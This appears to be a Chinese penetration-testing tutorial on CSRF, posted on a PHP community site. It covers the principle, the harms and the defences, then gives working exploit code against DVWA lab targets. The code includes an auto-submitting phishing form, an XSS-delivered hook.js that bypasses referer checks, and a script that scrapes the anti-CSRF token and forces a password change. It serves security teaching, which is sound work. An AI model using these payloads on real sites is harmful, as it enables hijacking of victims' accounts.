热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

渗透测试14:CSRF漏洞

漏洞原理CSRF(Cross-SiteRequestForgery),中文名称:跨站请求伪造原理:攻击者利用目标用户的身份,执行某些非法的操作跨站点的请求:请求的来源可以是非本站(

漏洞原理



  • CSRF(Cross-Site Request Forgery),中文名称:跨站请求伪造

  • 原理:攻击者利用目标用户的身份,执行某些非法的操作

  • 跨站点的请求:请求的来源可以是非本站(由攻击者服务器向漏洞服务器发起请求)

  • 请求是伪造的:请求的发出不是用户的本意


漏洞危害



  • 篡改目标站点上的用户数据

  • 盗取用户隐私数据

  • 作为其他攻击的辅助攻击手法

  • 传播 CSRF 蠕虫


漏洞现状

CSRF这种攻击方式在2000年已经被国外的安全人员提出,但在国内,直到06年才开始被关注,08年,国内外的多个大型社区和交互网站分别爆出CSRF漏洞,如:NYTimes.com(纽约时报)、Metafilter(一个大型的BLOG网站),YouTube和百度HI......而现在,互联网上的许多站点仍对此毫无防备,以至于安全业界称CSRF为“沉睡的巨人”


漏洞防御



  • 检查HTTP Referer是否是同域

  • 限制Session COOKIE的生命周期,减少被攻击的概率

  • 使用验证码

  • 使用一次性token


利用脚本

先通过 BurpSuite 抓包,右键选择 Engagement tools => Generate CSRF PoC 生成利用页面,修改表单数据后,在页面下方添加自动执行脚本

钓鱼页面




action="http://[漏洞服务器IP]/csrf-bank/change.php"
method="post"
id="csrf"
>










referer绕过

服务器验证请求源,必须是从服务器的连接跳转过来的请求才会被接收,故原来的小伎俩失效,无法通过攻击者伪造的页面进行跳转,因此需要结合XSS进行伪装

钓鱼页面









点我有惊喜!



/csrf/hook.js

xmlhttp = new XMLHttpRequest();
xmlhttp.open(
"get",
"http://[漏洞服务器IP]/dvwa/vulnerabilities/csrf/?password_new=password&password_cOnf=password&Change=Change"
);
xmlhttp.send();

token绕过

钓鱼页面








token类型CSRF利用

点我有惊喜!



/csrf/hook.js

var url = "http://[漏洞服务器IP]/dvwa/vulnerabilities/csrf/";
if (window.XMLHttpRequest) {
xmlhttp = new XMLHttpRequest();
} else {
// 老版本的 Internet Explorer (IE5 和 IE6)使用 ActiveX 对象
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
var count = 0;
xmlhttp.withCredentials = true;
xmlhttp.Onreadystatechange= function () {
if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
var cOntent= xmlhttp.responseText;
var pattern = "user_token' value='(.*?)'";
var match = content.match(pattern);
var token = match[1];
var new_url =
"http://[漏洞服务器IP]/dvwa/vulnerabilities/csrf/?user_token=" +
token +
"&password_new=password&password_cOnf=password&Change=Change";
if (count == 0) {
count++;
xmlhttp.open("GET", new_url, false);
xmlhttp.send();
}
}
};
xmlhttp.open("GET", url, false);
xmlhttp.send();


推荐阅读
author-avatar
小丽丽很可爱
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有